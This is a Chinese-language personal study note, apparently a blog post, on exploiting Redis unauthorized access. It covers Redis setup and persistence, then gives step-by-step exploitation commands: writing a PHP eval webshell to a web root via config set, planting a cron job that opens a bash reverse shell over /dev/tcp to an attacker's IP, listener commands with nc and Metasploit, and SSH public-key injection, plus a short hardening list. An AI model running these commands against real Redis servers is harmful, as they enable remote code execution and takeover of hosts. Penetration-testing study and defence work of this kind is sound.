个人笔记-渗透测试-Redis未授权访问漏洞

Redis未授权访问漏洞

1,Redis常见用途

Remote Dictionary Service

//Redis相关操作
>set test 123
OK
>get test
"123"
>hset hash 1 a 2 b 3 c
(interger) 3
>hget hash 1
"a"

常见用途:

  • 缓存
  • 分布式session、分布式锁、分布式全局ID
  • 计数器、限流
  • 列表
  • 抽奖
  • 标签
  • 排行榜

Redis的优点:

  • 数据类型丰富、应用场景广泛
  • 纯内存的数据结构、读写速度快
  • 功能特性丰富(持久化、事务、多语言支持、集权分布式)

2,Redis环境安装

  1. 安装 gcc 依赖
    • Redis 是 C 语言编写的,编译需要 GCC。
      Redis6.x.x 版本支持了多线程,需要 gcc 的版本大于 4.9
    • 查看 gcc 的版本:
      gcc -v
    • 升级 gcc 版本:
      yum -y install centos-release-scl
      yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++
      devtoolset-9-binutils
      scl enable devtoolset-9 bash
      echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
      
  2. 下载 redis
    wget https://download.redis.io/releases/redis-6.2.3.tar.gz
  3. 解压压缩包
    tar -zxvf redis-6.2.3.tar.gz
  4. 编译安装
    cd redis-6.0.9/src
    make install
    
  5. 修改redis.conf配置文件
    protected-mode ——保护模式
    daemonize yes ——后台启动
    bind 127.0.0.0 ——只能在本机访问,建议注释掉
    requirepass yourpassword ——密码访问。注释掉则不需要密码登录
    开启6379端口
    
  6. 使用指定配置文件启动 Redis 服务端
    /usr/local/soft/redis-6.2.3/src/redis-server
    /usr/local/soft/redis-6.2.3/redis.conf
    
  7. 进入客户端
    目录:/src/redis-cli
  8. 配置别名
    vim ~/.bashrc
    alias redis='/usr/local/soft/redis-6.2.3/src/redis-server
    /usr/local/soft/redis-6.2.3/redis.conf'
    alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'
    
    source ~/.bashrc

3,Redis持久化机制

如何保证数据不丢失?
答:内存的数据不定期保存到磁盘中。

  • RDB Redis DataBase
  • AOF Append Pnly File

自动触发配置:

  1. sava 3600 1 #自动触发规则
  2. dbfilename dump.rdb #文件名
  3. dir ./ #存储路径

手动触发保存命令:save / bgsave

4,Redis动态修改配置

config set:redis可以动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php

配合上持久化机制可以将任意内容写入到任意路径中。

5,webshell提权

  1. 完成配置后,向数据库中写入一句话木马
    set x <?php @eval($_POST["test"])?>

  2. 打开shell连接上木马

    //完整代码
    redis-cli -h 192.168.142.13 -p 6379
    config set dir /网站路径
    config set dbfilename redis.php
    flushall
    set x <?php @eval($_POST["test"])?>
    save
    

6,定时任务+反弹连接提权

  • 如果没有监听80端口的HTTP Server或者找不到网站本路径应该怎么办?

  • 反弹连接:受害者主机主动与攻击者取得连接,攻击者顺势控制靶机。

  • 以下情况使用反弹连接:

    1. 内网、私有IP
    2. IP动态变化
    3. 6379端口不允许入方向
    4. 一句话木马被杀软删除
  • 反弹连接的实现

    1. 控制机怎么监听一个端口?
    2. 靶机怎么连接到控制机的端口?
  • 常见监听端口方式

    类型命令
    netcat(ncat)nc -lvp 端口号 (-nlvp lvvp)
    msfmsfconsole;use exploit/multi/handler;set payload php/meterpreter/reverse_tcp;set lhost IP地址;set lport 端口号;run
    socatsocat TCP-LISTEN:端口号 -
  • 常见建立反弹连接的方式(靶机执行)
    在这里插入图片描述
    在这里插入图片描述

  • 看机器有什么环境,通过命令直接连接、或者访问代码文件

  • 如果连接失败,可以检查防火墙有没有关闭

  • 总结

    • 流程
      1. 监听端口
      2. 执行命令,或者上传payload访问,建立连接
    • 怎么上传?
      1. 文件上传漏洞
      2. 写入文件:Mysql、Rdis、CMS
      3. 文本编辑命令:tee、test.py
    • 怎么执行?
      1. 访问
      2. 定时任务自动触发
  • 定时任务
    crontab——cron表达式——秒分时日月周年
    在这里插入图片描述
    cron文件存储路径:

    • /var/spool/cron——此文件负责安排由系统管理员指定的维护系统以及其他任务的crontab
    • /etc/crontab.——放到是对应周期的任务dalily、hourly、monthly、weekly
  • 加入定时任务的漏洞复现:

    • kali机
      redis-cli -h 靶机地址 -p 6379
      flushall
      set x "\n* * * * * bash -i >& /dev/tcp/控制机的IP/6666 0>&1\n"
      config set dir /var/spool/cron/
      config set dbfilename root
      save
      
    • 控制机
      nc -lvp 6666
      

7,SSH key免密登录

免密登录流程:

  1. 客户端生成密钥对(公钥,私钥)
  2. 客户端把公钥发给服务端保存(正常情况需要密码)
  3. 客户端用私钥加密消息,发给服务端
  4. 服务端用公钥解密,解密成功,说明密钥匹配
  5. 客户端免密登录成功

操作流程:

  1. 生成密钥:ssh-keygen
  2. 登录目标发送公钥:ssh-copy-id root@目标IP
  3. 免密登录:ssh -i ./id_rsa root@目标IP

攻击方式:通过redis免密向目标发送公钥,再通过ssh进行连接。

其他利用方式:

  • 基于主从复制的RCE
  • jackson 反序列化利用
  • lua RCE
  • Redis密码爆破

8,Redis加固方案

  1. 限制访问IP
  2. 修改默认端口
  3. 使用密码访问
  4. 不要用root运行Redis
  • 19
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值